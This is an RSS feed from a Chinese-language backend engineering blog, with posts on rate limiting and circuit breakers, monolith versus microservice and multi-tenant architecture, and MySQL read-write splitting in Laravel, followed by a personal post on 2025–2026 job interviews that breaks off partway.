<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0"><channel><title><![CDATA[Bennett's Tech Blog | 後端架構、系統設計]]></title><description><![CDATA[來自台灣的軟體工程師，相信軟體可以改變世界。紀錄技術成長的每一小步。這裡分享關於後端開發、資料庫優化、API 設計及軟體工程的最佳實踐。無論是系列教學或專案心得，都希望能為開發者社群提供實質價值。]]></description><link>https://blog.bennett1999.com</link><image><url>https://cdn.hashnode.com/uploads/logos/693a6e8cf7ff0b7590781231/aebf7619-1e37-435b-ab00-73e63aa864a0.png</url><title>Bennett&apos;s Tech Blog | 後端架構、系統設計</title><link>https://blog.bennett1999.com</link></image><generator>RSS for Node</generator><lastBuildDate>Thu, 09 Apr 2026 19:06:31 GMT</lastBuildDate><atom:link href="https://blog.bennett1999.com/rss.xml" rel="self" type="application/rss+xml"/><language><![CDATA[en]]></language><ttl>60</ttl><item><title><![CDATA[Lesson 26 : 系統韌性的守護者-限流、熔斷與背壓的設計模式]]></title><description><![CDATA[當這幾個名詞出現後，代表我們進到了一個高併發/大流量的系統了。在這個章節中，我們一起來看看如何透過一些方式來避免高併發導致我們的系統crash掉。
限流(Rate Limiting)
相信大家對這個名詞並不陌生，限流其實就是字面上的含意，限制流量。
限流的目的是保護「接收方」，確保系統不會因為瞬間的高併發請求而癱瘓。
限流通常發生在 API Gateway 或服務的最前端。它像是一個夜店門口的保全]]></description><link>https://blog.bennett1999.com/rate-limiting-circuit-breaker-backpressure</link><guid isPermaLink="true">https://blog.bennett1999.com/rate-limiting-circuit-breaker-backpressure</guid><category><![CDATA[rate-limiting]]></category><category><![CDATA[circuit breaker]]></category><category><![CDATA[backpressure]]></category><dc:creator><![CDATA[Bennett]]></dc:creator><pubDate>Thu, 26 Mar 2026 10:18:06 GMT</pubDate><content:encoded><![CDATA[<p>當這幾個名詞出現後，代表我們進到了一個高併發/大流量的系統了。在這個章節中，我們一起來看看如何透過一些方式來避免高併發導致我們的系統crash掉。</p>
<h1>限流(Rate Limiting)</h1>
<p>相信大家對這個名詞並不陌生，限流其實就是字面上的含意，限制流量。</p>
<p>限流的目的是保護「接收方」，確保系統不會因為瞬間的高併發請求而癱瘓。</p>
<p>限流通常發生在 API Gateway 或服務的最前端。它像是一個夜店門口的保全，控制每分鐘可以進場的人數，當超過限制時，通常回傳 <code>HTTP 429 Too Many Requests</code></p>
<h2>常見演算法</h2>
<ol>
<li><p>令牌桶 (Token Bucket)： 系統以固定速率產生令牌，並存於有限容量的桶中，請求需取得令牌才能通過，允許一定程度的突發流量</p>
</li>
<li><p>漏桶 (Leaking Bucket)： 無論請求多快，輸出速率永遠固定。主要用於平滑流量。</p>
</li>
<li><p>固定/滑動視窗： 計算一段時間內的請求總數，簡單但可能在視窗切換點出現兩倍流量。</p>
</li>
</ol>
<table>
<thead>
<tr>
<th>演算法</th>
<th>核心邏輯</th>
<th>優點</th>
<th>缺點</th>
<th>適用場景</th>
</tr>
</thead>
<tbody><tr>
<td>令牌桶 (Token Bucket)</td>
<td>桶子存令牌，有令牌就放行。</td>
<td>允許突發流量 (Burst)，靈活性高。</td>
<td>實作稍微複雜一點點。</td>
<td>Google API、大多數微服務 Gateway。</td>
</tr>
<tr>
<td>漏桶 (Leaking Bucket)</td>
<td>請求進桶子，固定速率流出。</td>
<td>絕對平滑，強行保護後端穩定。</td>
<td>沒辦法處理突發需求，請求會排隊很久。</td>
<td>資料庫寫入保護、電信信令控制。</td>
</tr>
<tr>
<td>固定視窗 (Fixed Window)</td>
<td>每分鐘重算一次。</td>
<td>實作最簡單，記憶體佔用極低。</td>
<td>臨界點問題：例如 0:59 進 100 個，1:01 進 100 個，瞬間其實進了 200 個。</td>
<td>簡單的 API 配額限制。</td>
</tr>
<tr>
<td>滑動視窗 (Sliding Window)</td>
<td>視窗隨時間滾動。</td>
<td>解決了臨界點翻倍的問題。</td>
<td>儲存每個請求的時間點，較耗記憶體。</td>
<td>較精細的用戶級別限流。</td>
</tr>
</tbody></table>
<h3>關於平滑流量</h3>
<p>如果一個系統每秒只能處理 10 個請求：</p>
<p>非平滑狀態： 第 1 秒突然衝進來 50 個請求，系統瞬間崩潰或發生延遲，而後面的 4 秒卻空空如也。</p>
<p>平滑後（漏桶算法）： 這 50 個請求會先進入一個「桶子」排隊，系統以每秒 10 個的固定速度緩慢釋放。雖然請求處理完畢的總時間變長了，但後端系統始終保持在負載範圍內，不會被打掛。</p>
<h2>補充</h2>
<p>在Java Web 開發中，tomcat的預設值是200個connection，Web Server 透過執行緒池 (Thread Pool) 來實現流量控制。</p>
<p>然而在PHP-FPM 的流量控制邏輯是透過一個主進程管理多個子進程(Worker Processes)在排隊處理任務，並透過 <code>pm.max_children</code> 旯管理最大子進程數量。</p>
<p>實務上， PHP-FPM (<code>pm.max_children</code>) 與 Tomcat (<code>maxThreads</code>) 本質上是併發數限制 + 請求排隊機制，當 Worker 滿了，請求進入作業系統的 Backlog 佇列，如果連佇列都滿了，就會回傳錯誤。</p>
<h3>PHP的限流</h3>
<p>在 PHP 的世界裡，我們通常不會單靠 PHP-FPM 來擋流量，而是會配合：</p>
<ol>
<li><p>Nginx <code>limit_req</code>：在最前端就限制每秒請求數。</p>
</li>
<li><p>Opcache：減少編譯時間，讓「漏水」的速度變快。</p>
</li>
<li><p>Queue (Laravel Job)：遇到大流量時，把耗時任務丟到後台處理，讓 PHP-FPM 趕快空出來接下一個請求。</p>
</li>
</ol>
<h1>熔斷 (Circuit Breaker)</h1>
<p>保護「呼叫方」，防止故障蔓延。通常運用在Server to Server的系統中，防止服務雪崩。</p>
<h2>情境</h2>
<p>當 A 服務呼叫 B 服務，而 B 服務反應過慢或持續報錯時，A 服務應該「切斷」對 B 的請求，直接回傳預設的錯誤（Fallback），而不是讓執行緒（Thread）全部卡在那裡等待超時。</p>
<h2>熔斷的三種狀態</h2>
<table>
<thead>
<tr>
<th><strong>狀態</strong></th>
<th><strong>表現行為</strong></th>
<th><strong>轉換條件</strong></th>
</tr>
</thead>
<tbody><tr>
<td><strong>Closed</strong></td>
<td>流量正常通過。</td>
<td>錯誤率低於門檻。</td>
</tr>
<tr>
<td><strong>Open</strong></td>
<td>請求直接攔截，執行 Fallback。</td>
<td>錯誤率或超時率超過設定值（如 50%）。</td>
</tr>
<tr>
<td><strong>Half-Open</strong></td>
<td>放行少量請求測試。</td>
<td>經過一段「冷卻時間」後自動進入。</td>
</tr>
</tbody></table>
<h2>實作補充</h2>
<p>如果是Java的開發者，可以使用：<strong>Resilience4j</strong></p>
<p>而Laravel的開發者，可以使用：<a href="https://github.com/gabrielanhaia/laravel-circuit-breaker">laravel-circuit-breaker</a></p>
<h1>背壓 (Backpressure)</h1>
<p>協調「生產者」與「消費者」的速度差異。</p>
<p>在非同步系統（如 Queue）中，當生產者發送數據的速度快過消費者處理的速度時，如果沒有背壓，消費者的Buffer會溢位導致 Out of Memory。</p>
<p>背壓不僅存在於 Queue，也廣泛應用於網路層(TCP Flow Control)</p>
<h2>常見策略</h2>
<ol>
<li><p>控制速率 (Signaling)： 消費者主動告訴生產者：「我現在只能處理 10 個，別傳太快。」</p>
</li>
<li><p>緩衝 (Buffer)： 先存在記憶體，但有上限。</p>
</li>
<li><p>丟棄 (Drop)： 處理不完就直接丟掉最新的（或最舊的）。</p>
</li>
</ol>
<h1>總結</h1>
<table>
<thead>
<tr>
<th><strong>模式</strong></th>
<th><strong>誰保護誰</strong></th>
<th><strong>觸發時機</strong></th>
<th><strong>典型案例</strong></th>
</tr>
</thead>
<tbody><tr>
<td><strong>限流</strong></td>
<td>伺服器保護自己</td>
<td>請求量超過預設閾值</td>
<td>阻擋惡意爬蟲、API 配額限制</td>
</tr>
<tr>
<td><strong>熔斷</strong></td>
<td>呼叫方保護自己與系統</td>
<td>依賴的外部服務不穩定時</td>
<td>第三方支付 API 回應超時</td>
</tr>
<tr>
<td><strong>背壓</strong></td>
<td>消費者保護自己</td>
<td>處理速度跟不上輸入速度時</td>
<td>數據流處理 (Data Streaming)</td>
</tr>
</tbody></table>
<p>限流（Rate Limiting）：發生在入口（Ingress），保護系統 熔斷（Circuit Breaker）：發生在服務間（Service-to-Service），防止雪崩 背壓（Backpressure）：發生在非同步系統（Async Pipeline），避免資源耗盡</p>
]]></content:encoded></item><item><title><![CDATA[Lesson 25: 淺談 單體架構、微服務架構與單/多租戶架構]]></title><description><![CDATA[過去我們討論了 要把程式寫在哪、程式要怎麼拆的題目，接下來我們來看看「如何服務不同客戶」，這些架構反映了軟體開發在擴充性與複雜度之間的權衡。
軟體架構深度解析：從系統拆分到商業規模化
在軟體工程的演進中，架構的選擇往往是在「開發效率」、「系統擴充性」與「營運成本」之間尋求平衡。我們可以從兩個核心維度來觀察這些架構：系統如何運行（單體 vs. 分散式） 以及 如何服務客戶（單租戶 vs. 多租戶）。]]></description><link>https://blog.bennett1999.com/architecture</link><guid isPermaLink="true">https://blog.bennett1999.com/architecture</guid><category><![CDATA[architecture]]></category><category><![CDATA[Microservices]]></category><category><![CDATA[Distributed architecture]]></category><category><![CDATA[monolithic architecture]]></category><category><![CDATA[multi tenant architecture]]></category><dc:creator><![CDATA[Bennett]]></dc:creator><pubDate>Thu, 26 Mar 2026 08:29:06 GMT</pubDate><content:encoded><![CDATA[<p>過去我們討論了 要把程式寫在哪、程式要怎麼拆的題目，接下來我們來看看「如何服務不同客戶」，這些架構反映了軟體開發在擴充性與複雜度之間的權衡。</p>
<h1>軟體架構深度解析：從系統拆分到商業規模化</h1>
<p>在軟體工程的演進中，架構的選擇往往是在「開發效率」、「系統擴充性」與「營運成本」之間尋求平衡。我們可以從兩個核心維度來觀察這些架構：系統如何運行（單體 vs. 分散式） 以及 如何服務客戶（單租戶 vs. 多租戶）。</p>
<h2>規模與擴展維度：程式該如何運行？</h2>
<h3>單體架構 (Monolithic Architecture)</h3>
<p>整個系統（API、業務邏輯、資料存取）打包成一個應用程式部署。</p>
<p>一個典型的Laravel 專案就是單體架構。</p>
<ul>
<li><p>代表實例： 標準的 Laravel 或 Rails 專案。</p>
</li>
<li><p>特性： 同步的 Function Call、共用單一資料庫、單一部署流程。</p>
</li>
<li><p>優點： 初期開發速度極快、測試與部署簡單、維運壓力小。</p>
</li>
<li><p>缺點： 「牽一髮而動全身」，任一模組崩潰會導致全站失效；且難以針對特定功能進行水平擴展（Scaling）。</p>
<img src="https://cdn.hashnode.com/uploads/covers/693a6e8cf7ff0b7590781231/0dbf1e7a-05fc-4562-a708-a66cabde1438.png" alt="" style="display:block;margin:0 auto" /></li>
</ul>
<h3>分散式架構 (Distributed Architecture)</h3>
<p>系統跨越多個節點運行，透過網路協作完成任務。<strong>微服務即是分散式架構的一種具體實現。</strong></p>
<ul>
<li><p>關鍵挑戰： 必須面對 CAP 定理 的物理限制（一致性、可用性、分區容忍性）。</p>
</li>
<li><p>優點： 高可用性（HA）與強大的水平擴展能力，具備容錯機制。</p>
</li>
<li><p>缺點： 網路延遲、數據一致性（Eventual Consistency）問題，以及複雜的 Race Condition 處理。</p>
</li>
</ul>
<h3>微服務架構 (Microservices Architecture)</h3>
<p>將系統拆分為「多個獨立服務」，每個服務負責單一業務能力（bounded context）。</p>
<ul>
<li><p>特性： 每個服務獨立部署、擁有專屬 DB、透過 HTTP/gRPC/MQ 通訊。</p>
</li>
<li><p>核心痛點： 運維複雜度（Observability）與分散式交易處理（如 Saga Pattern）。</p>
</li>
<li><p>決策關鍵： 依據 DDD（領域驅動設計） 的「界限上下文」來拆分，避免淪為分散式單體。</p>
</li>
<li><p>一致性模型改變：單體架構可以容易地實現強一致性，微服務在「跨服務」場景下通常需要採用最終一致性。</p>
</li>
</ul>
<p><strong>常見設計 Pattern</strong></p>
<ul>
<li><p>API Gateway</p>
</li>
<li><p>Circuit Breaker</p>
</li>
<li><p>Saga Pattern</p>
</li>
<li><p>Event-driven Architecture</p>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/693a6e8cf7ff0b7590781231/342e22e5-6b9e-4b8a-af2f-6c672650657a.png" alt="" style="display:block;margin:0 auto" />

<h2>服務與商業維度：如何服務不同客戶？</h2>
<p>當進入 SaaS（軟體即服務）領域時，核心決策點在於如何處理多個客戶（Tenant）的數據與資源。</p>
<h3>獨立部署（單租戶模型）</h3>
<p>每個客戶擁有獨立的運行環境與資料邊界。</p>
<ul>
<li><p>適用： 高資安需求的標案或極大企業客戶。</p>
</li>
<li><p>問題： 維護 100 個客戶需要更新 100 次，難以規模化。</p>
</li>
</ul>
<h3>多租戶架構（Multi-Tenant Architecture）</h3>
<p>一套系統服務「多個客戶（Tenant）」，但資料彼此隔離。多租戶架構主要是在「SaaS 情境下的資料隔離策略」。</p>
<ul>
<li><p>資源利用度高且多客戶管理容易(集中部署與統一版本管理)</p>
</li>
<li><p>權限與資料隔離設計需要更謹慎且複雜</p>
</li>
<li><p>在多租戶架構中，當租戶數量成長時，會面臨資料遷移與資源重新分配（例如：將大型租戶遷移至獨立資料庫）的挑戰。</p>
</li>
</ul>
<p><strong>三種實作模式</strong></p>
<ol>
<li><p>Shared DB, Shared Schema</p>
<ul>
<li><p>用 <code>tenant_id</code> 區分</p>
</li>
<li><p>成本最低，但隔離性最差，任何 query 若未正確套用 tenant 條件（例如：global scope），將導致資料越權存取</p>
</li>
</ul>
</li>
<li><p>Shared DB, Separate Schema</p>
<ul>
<li><p>每個 tenant 一個 schema，隔離性提升 且可以 可 partial backup</p>
</li>
<li><p>schema 管理複雜、migration 要處理多 schema</p>
</li>
</ul>
</li>
<li><p>Separate Database(DB Per Tenant)</p>
<ul>
<li><p>每個 tenant 一個 DB</p>
</li>
<li><p>隔離最好，成本最高</p>
</li>
</ul>
</li>
</ol>
<img src="https://cdn.hashnode.com/uploads/covers/693a6e8cf7ff0b7590781231/cec65896-13a9-4db5-bd93-fcd6c00e4b6e.png" alt="" style="display:block;margin:0 auto" />


<h1>實務運用</h1>
<h2>單體與微服務的邊界</h2>
<p>當單體要轉微服務時，最難的不是技術，而是「怎麼拆」。</p>
<ul>
<li><p>關鍵概念： DDD（領域驅動設計）中的 界限上下文。</p>
</li>
<li><p>實務建議： 如果邊界劃分錯誤（例如：訂單服務與庫存服務耦合太深），會變成最糟糕的情況——「分散式單體」。這具備了微服務的所有缺點（網路延遲、部署複雜），卻沒有任何優點（開發依然互相牽制）。</p>
</li>
</ul>
<h2>分散式架構的幽靈：CAP 定理</h2>
<p>在討論分散式與微服務時，CAP 定理是繞不開的物理限制。</p>
<ul>
<li><p>一致性 (Consistency)</p>
</li>
<li><p>可用性 (Availability)</p>
</li>
<li><p>分區容忍性 (Partition Tolerance) 在分散式系統中，我們被迫在 C 與 A 之間做選擇。例如：</p>
</li>
<li><p>金融交易： 寧可系統暫時無法服務 (A)，也要保證金額絕對正確 (C)。</p>
</li>
<li><p>社群貼文： 寧可讓不同使用者看到稍微不同的按讚數 (C)，也要保證系統隨時能讀取 (A)。</p>
</li>
</ul>
<h2>多租戶架構的隱形陷阱：Noisy Neighbor</h2>
<p>在 SaaS 開發中，多租戶最怕 吵鬧鄰居 效應。</p>
<ul>
<li><p>問題： 當 A 租戶突然有暴增流量，若使用「共享資料庫 (Shared Schema)」，B 租戶的服務品質也會下降。</p>
</li>
<li><p>解決方案： 這時需要引入 Rate Limiting（限流） 或 Resource Quota。如果你的客戶是像「台積電」這種等級的大企業，通常會要求 Separate Database，不只是為了效能，更多是為了資安合規。</p>
</li>
</ul>
<h1>結論</h1>
<p>選擇架構時不應盲目追求「微服務」，因為架構的引入是有代價的。很多成功的產品都是從單體開始，隨後演進為分散式，最後為了團隊協作才拆分為微服務。而多租戶則是打算將這套系統賣給多個客戶時，必須考慮的數據隔離策略。</p>
]]></content:encoded></item><item><title><![CDATA[Lesson 24: 資料庫擴展術-讀寫分離、複寫機制與快取一致性挑戰]]></title><description><![CDATA[為什麼要讀寫分離？
大多數的 Web 應用都是 「讀多寫少」（例如：看文的人多，發文的人少,Heavy Read System）。當所有的請求都塞給同一台資料庫時，磁碟 I/O 和連線數會成為瓶頸。

Master (主庫)： 負責寫入 (Insert/Update/Delete)，確保數據一致性。

Slave (從庫)： 負責讀取 (Select)，可以有多個從庫來分擔讀取壓力。


為什麼讀]]></description><link>https://blog.bennett1999.com/read-weite-splitting</link><guid isPermaLink="true">https://blog.bennett1999.com/read-weite-splitting</guid><category><![CDATA[read write splitting]]></category><category><![CDATA[Databases]]></category><category><![CDATA[master slave]]></category><category><![CDATA[backend]]></category><category><![CDATA[Laravel]]></category><dc:creator><![CDATA[Bennett]]></dc:creator><pubDate>Wed, 25 Mar 2026 08:36:29 GMT</pubDate><content:encoded><![CDATA[<h1>為什麼要讀寫分離？</h1>
<p>大多數的 Web 應用都是 「讀多寫少」（例如：看文的人多，發文的人少,Heavy Read System）。當所有的請求都塞給同一台資料庫時，磁碟 I/O 和連線數會成為瓶頸。</p>
<ul>
<li><p>Master (主庫)： 負責寫入 (Insert/Update/Delete)，確保數據一致性。</p>
</li>
<li><p>Slave (從庫)： 負責讀取 (Select)，可以有多個從庫來分擔讀取壓力。</p>
</li>
</ul>
<h3>為什麼讀寫分離能提升效能？</h3>
<ul>
<li><p>磁碟 I/O 分散： 寫入操作通常涉及索引更新和交易日誌，非常吃磁碟性能。將讀取抽離，可以避免 SELECT 語句與 INSERT/UPDATE 爭搶資源。</p>
</li>
<li><p>併發連線數： 每台資料庫能承載的連線數有限，多台 Slave 代表能支撐更多的使用者同時在線瀏覽。</p>
</li>
</ul>
<h2>路由實作：由誰來決定 SQL 去哪裡</h2>
<p>實務上，讀寫分離的「路由控制」有兩種主流架構，各有優缺點：</p>
<ul>
<li><p>應用層控制 (Application-side Routing)：</p>
<ul>
<li><p>作法： 在程式碼或框架設定中定義 <code>read</code> 與 <code>write</code> 連線（例如 Laravel 的 <code>database.php</code>）。</p>
</li>
<li><p>優點： 效能最高（少一層網路跳轉）、部署簡單。</p>
</li>
<li><p>缺點： 業務代碼與基礎設施耦合；當 Slave 增加或異動時，所有應用程式都得更新設定。</p>
</li>
</ul>
</li>
<li><p>代理層控制 (Proxy-side Routing)：</p>
<ul>
<li><p>作法： 引入 <strong>ProxySQL</strong> 或 <strong>MySQL Router</strong>。程式只連向 Proxy，由 Proxy 根據 SQL 語法（SELECT vs UPDATE）自動轉發。</p>
</li>
<li><p>優點： 支援連線池 (Connection Pooling)、動態下線壞掉的 Slave、對程式碼透明。</p>
</li>
<li><p>缺點： 增加系統複雜度與網路延遲 (Latency)。</p>
</li>
</ul>
</li>
</ul>
<h1>資料庫複寫的原理</h1>
<ul>
<li><p>非同步複寫 (Asynchronous)： 主庫寫完立即回傳成功，再慢慢同步給從庫。效能最好，但有數據遺失風險(如果 Master 剛寫完就當機，資料可能還沒傳到 Slave，導致資料遺失)</p>
</li>
<li><p>半同步複寫 (Semi-synchronous)： 主庫寫完後，至少等一個從庫確認收到資料才回傳。平衡了效能與安全性。</p>
</li>
<li><p>Binary Log (Binlog)： 這是 MySQL 同步的核心，從庫就是透過讀取主庫的 Binlog 來重演 (Replay) 資料操作。</p>
</li>
</ul>
<h2>複寫底層的細節：Binlog 格式的影響</h2>
<p>Slave 是怎麼同步的？是同步 SQL 語句還是同步數據結果？這會影響同步的準確性與效能：</p>
<ul>
<li><p>Statement-Based Replication (SBR)： 同步 SQL 語句。</p>
<ul>
<li>坑： 如果 SQL 裡有 <code>NOW()</code> 或 <code>UUID()</code>，Slave 執行的結果會跟 Master 不一樣。</li>
</ul>
</li>
<li><p>Row-Based Replication (RBR)： 同步實際變更的數據行。</p>
<ul>
<li><p>優點： 最安全，保證資料一致。</p>
</li>
<li><p>缺點： 當大量更新時，Binlog 會噴發，佔用頻寬。</p>
</li>
</ul>
</li>
<li><p>Mixed-Based Replication： 自動判斷。</p>
</li>
</ul>
<p>在現代生產環境中，建議優先選用 Row-Based (RBR)。雖然它在大量更新（如 <code>UPDATE users SET status = 1</code>）時會產生巨大的 Log，但它能保證 100% 的資料精確度，避免 <code>RAND()</code> 或 <code>NOW()</code> 造成的同步問題。</p>
<h1>快取一致性挑戰</h1>
<p>還記得我們在L21中快取的章節有充到：如果在主從分離的極端架構下，為了避免快取到尚未更新的從庫(舊資料)，快取有兩個調整策略：延遲雙刪 &amp; CDC。</p>
<p>這裡再提供一個方式 - 強制讀主庫： 如果快取過期時間很短，或者不希望快取邏輯太複雜，就會更依賴 「強制讀主庫」 來保證寫入後的第一次讀取是正確的。</p>
<h2>強制讀主庫（Master-only Read）</h2>
<p>核心邏輯：繞過讀寫分離的自動調度邏輯。</p>
<p>這通常發生在對「資料即時性」要求極高的場景，例如：使用者剛刷完卡、剛改完密碼，或者在交易（Transaction）程序中。</p>
<h3>框架層級實作</h3>
<p>這是最常見的做法，透過後端框架提供的 API，手動指定當前的 Query 使用「寫入連線」</p>
<pre><code class="language-php">$user = User::onWriteConnection()-&gt;find(userId);
</code></pre>
<p>在Laravel中還有一個特殊的選項：<code>sticky</code></p>
<p>當sticky = true時，可用於允許立即讀取在目前請求週期內寫入資料庫的記錄。如果啟用了sticky選項，並且在目前請求週期內對資料庫執行了「寫入」操作，則任何後續的「讀取」操作都會使用「寫入」連線。</p>
<p>Laravel 官方文件沒告訴你的事情：在 Laravel 中，一旦進入 transaction，所有讀取會自動 fallback 到 write connection，因為 transaction state 僅存在於 write PDO。</p>
<p>在 <code>ManagesTransactions.php</code> 中，可以看到 <code>function beginTransaction</code> 呼叫了<code>createTransaction</code></p>
<p>而createTransaction的code如下：</p>
<pre><code class="language-php">//ManagesTranstions
protected function createTransaction()
    {
        if ($this-&gt;transactions == 0) {
            $this-&gt;reconnectIfMissingConnection();

            try {
                $this-&gt;getPdo()-&gt;beginTransaction();
            } catch (Throwable $e) {
                \(this-&gt;handleBeginTransactionException(\)e);
            }
        } elseif (\(this-&gt;transactions &gt;= 1 &amp;&amp; \)this-&gt;queryGrammar-&gt;supportsSavepoints()) {
            $this-&gt;createSavepoint();
        }
    }
</code></pre>
<p>重點就在於getPdo，在<code>Connection.php</code> 中：</p>
<p><code>$this-&gt;pdo</code>存放master connection</p>
<p><code>$this-&gt;readPdo</code>存放slave connection</p>
<p>另外 在 <code>getReadPdo()</code> 也會發現 如果有transition會回傳master connection，因此在整個transaction的期間內，所有DB操作都會到master connection</p>
<pre><code class="language-php">if ($this-&gt;transactions &gt; 0) {
	return $this-&gt;getPdo();
}
</code></pre>
<h3>SQL Hint 層級 (Proxy/Driver Level)</h3>
<p>如果是使用 ProxySQL、MySQL Router 或特定的資料庫中間件，它們通常支援在 SQL 語句中加入「註解（Comment）」作為 Hint，告訴代理層這條 SQL 不准分流。</p>
<pre><code class="language-sql">/*+ MASTER */ SELECT * FROM users WHERE id = 123;
</code></pre>
<p>代理伺服器（如 ProxySQL）會解析這段註釋，即使它是 <code>SELECT</code> 開頭，也會被強制路由到配置好的 <code>Writer Group</code>。這對「程式碼與架構解耦」非常有幫助，開發者只需改 SQL 字串。</p>
<h3>黏性主庫策略(Sticky Master / Session-based)</h3>
<p>實作邏輯：</p>
<ol>
<li><p>當使用者進行 寫入操作（如 POST/PUT/PATCH）時，後端在 Response 加入一個短期有效的 Cookie 或在 Redis 紀錄一個 Flag（例如 <code>recently_updated:{user_id}</code>，有效期間 2 秒）。</p>
</li>
<li><p>在接下來的請求中，Middleware（中介層） 檢查該 Flag 是否存在。</p>
</li>
<li><p>如果存在，該 Request 內的所有讀取自動切換到 Master 連線；如果不存在，則回歸正常的讀寫分離模式。</p>
</li>
</ol>
]]></content:encoded></item><item><title><![CDATA[面試經驗談 2025-2026]]></title><description><![CDATA[從2025年3月開始，我陸陸續續參與了從新創到上市櫃公司的Senior - Tech Lead的相關面試，其中有不乏 尊重面試者、展現高度專業的企業(公司)，當然也有遇到幾場面試鬼故事，這篇文章主要分享我對於軟體工程師面試的方向分享，以及部分鬼故事，以此警惕自己不要成為這樣的面試官。
AI的洪流，改變了SWE的生態
LLM的發展確確實實的影響到了軟體工程師的生態。
過去受限於算力與資料規模，深度學]]></description><link>https://blog.bennett1999.com/2025-2026</link><guid isPermaLink="true">https://blog.bennett1999.com/2025-2026</guid><category><![CDATA[interview]]></category><category><![CDATA[Technical interview]]></category><category><![CDATA[backend]]></category><category><![CDATA[AI]]></category><dc:creator><![CDATA[Bennett]]></dc:creator><pubDate>Mon, 23 Mar 2026 09:52:36 GMT</pubDate><content:encoded><![CDATA[<p>從2025年3月開始，我陸陸續續參與了從新創到上市櫃公司的Senior - Tech Lead的相關面試，其中有不乏 尊重面試者、展現高度專業的企業(公司)，當然也有遇到幾場面試鬼故事，這篇文章主要分享我對於軟體工程師面試的方向分享，以及部分鬼故事，以此警惕自己不要成為這樣的面試官。</p>
<h1>AI的洪流，改變了SWE的生態</h1>
<p>LLM的發展確確實實的影響到了軟體工程師的生態。</p>
<p>過去受限於算力與資料規模，深度學習的發展曾一度趨緩。隨著 GPU 與分散式訓練技術成熟、網路規模資料的累積，以及以 Transformer 為核心的模型架構出現，使得以自監督學習為基礎的大型語言模型得以快速發展並實際落地，進而引發近年的 AI 應用爆發，而首當其衝的便是 - 軟體工程師。</p>
<p>其實仔細想想這件事情並不是偶然，軟體系統主要受限於邏輯與抽象層，而非物理世界的連續性與精密控制問題（如機械結構、動力學、軸承…等）。這使得 LLM 更容易在此領域中發揮作用，因為其擅長處理符號化與結構化問題。這也導致了LLM 甚至於Agent的出現，改變了工程師能力的分佈結構，使得原本需要長時間累積的開發能力，被部分壓縮。</p>
<p>AI 模糊化了 傳統Junior工程師與Senior的邊界，即使是經驗較少的工程師，也可以在 LLM 輔助下快速完成 PoC 或 MVP，而不需要大量的時間經驗積累；但這與 production-ready system 仍存在本質差異。這讓我發現一件事情：工程師的價值不在於解決問題，更著重在定義問題。</p>
<p>過去我們的競爭力來自於實作能力，現在則逐漸轉向：</p>
<ul>
<li><p>問題建模能力</p>
</li>
<li><p>系統設計能力</p>
</li>
<li><p>在不確定性下做出技術決策的能力</p>
</li>
</ul>
<p>這也呼應了我曾在Medium上發表的文章，這裡節錄一段重點：</p>
<blockquote>
<p>AI 會寫 Code、能跑 test、甚至能優化效能，但它還不能取代的，是「策略思考」、「商業判斷」與「系統整合」。</p>
<p>以後的工程師好像需要帶一點Project Manager的特質了！</p>
<p>成為一個 有策略、能夠洞悉未來、具有問題解決能力 的 "工程師"</p>
<p>這裡的問題解決能力，並不是指 技術性問題的解決能力。在資訊檢索與方案建議上，LLM 已具備高度參考價值， "軟實力" 會成為未來Enginner必備的技能之一。</p>
<p>AI 會寫程式，會自動補全邏輯，甚至能理解架構與效能的優劣。但這並不代表工程師的價值消失了。相反地，<strong>當寫程式變得越來越容易，真正稀缺的是「知道要寫什麼」的人。</strong></p>
<p>過去我們的價值來自於「能解技術問題」，未來則來自於「能定義問題」與「設計解法」。也就是說，<strong>工具在解決 <em>How to do it</em>，但工程師該進化去處理 <em>What to do</em> 與 <em>Why to do it</em>。</strong></p>
</blockquote>
<h1>生態改變後，對於Interview有哪些變化</h1>
<p>雖然軟體工程師的生態系正在改變，也導致了職務需求的降低，但基本的缺口仍舊存在，市場上還是需要軟體人才來主導系統架構。</p>
<p>重點來了：AI產品落地的速度很快 - 做PoC非常快，但PoC跟系統化是兩個截然不同的世界。</p>
<p>企業主可以透過簡單的提示字、需求來做出一個可以快速驗證市場的PoC，但是一旦想要將這套商業邏輯或產品做成：高穩定性、易擴充能夠負荷極端或特殊情境的「系統」，這時候就需要專業的工程師介入。這也是近兩年來面試的觀察，大部分的技術面試已經從 How to do(如何實踐功能) 轉向 邏輯思維、系統架構設計以及經驗討論了；面試的重點不再是驗證「你會不會寫」，而是評估「你在什麼情境下會做出什麼決策」</p>
<p>目前兩年間面試下來大約15家企業，只有1家公司還保留上機測試。</p>
<h1>鬼故事專區</h1>
<p>嚴肅的內容說完了，現在就來輕鬆當笑話，聊聊被我定義成鬼故事的經驗吧！這些經驗我會混在一起來談，一方面是希望條列式，也希望可以避免太多 「敘事」的情節。</p>
<h2>大忌1 - 專業度不足</h2>
<p>技術面試中最難拿捏的，其實是「深度與範圍的界線」，技術充斥著軟體工程師的生活，或許有些問題窮極一生都遇不到，但對於另一位Engineer來說或許就是日常一杯咖啡一樣的問題。</p>
<p>在不同的背景下、不同的企業 即便使用相同的語言Tech Stack也會有一定程度的差異，我認為這是正常且健康的狀況。</p>
<p>但如果涉及到Basic Know-how那就一切不一樣了。</p>
<h3>情境</h3>
<p>面試官A：以你的經驗，你如何解決或避免超賣的問題？</p>
<p>Bennett：我會先確認系統對資料一致性的要求。如果是強一致性場景，會優先考慮透過 DB Lock 或 transactional 機制來確保正確性。</p>
<p>面試官B：那一萬個請求進來，你的系統不就直接炸掉？</p>
<h3>問題本質</h3>
<p>這類對話的問題，不在於答案對錯，而在於「討論層級沒有對齊」。</p>
<p>超賣問題本質上是一個典型的 trade-off：</p>
<ul>
<li><p>強一致性</p>
</li>
<li><p>高吞吐</p>
</li>
</ul>
<p>在沒有先確認業務場景（例如庫存敏感度、容錯空間、是否允許最終一致）的前提下，直接將問題轉向高併發，是一種上下文切換過快的討論方式。</p>
<h3>更理想的做法</h3>
<ol>
<li><p>先確認問題的約束條件</p>
</li>
<li><p>再討論在該約束下的解法</p>
</li>
<li><p>最後才延伸到 scalability / failure case</p>
</li>
</ol>
<p>這種討論方式，會讓面試從「評估思考能力」退化成「即時反應壓力測試」，反而無法有效判斷候選人的系統設計能力，甚至可能錯誤地低估其在特定約束條件下的決策品質。</p>
<p>技術討論應該是共築共識，而非設局捕捉</p>
<h2>大忌2 - 遲到</h2>
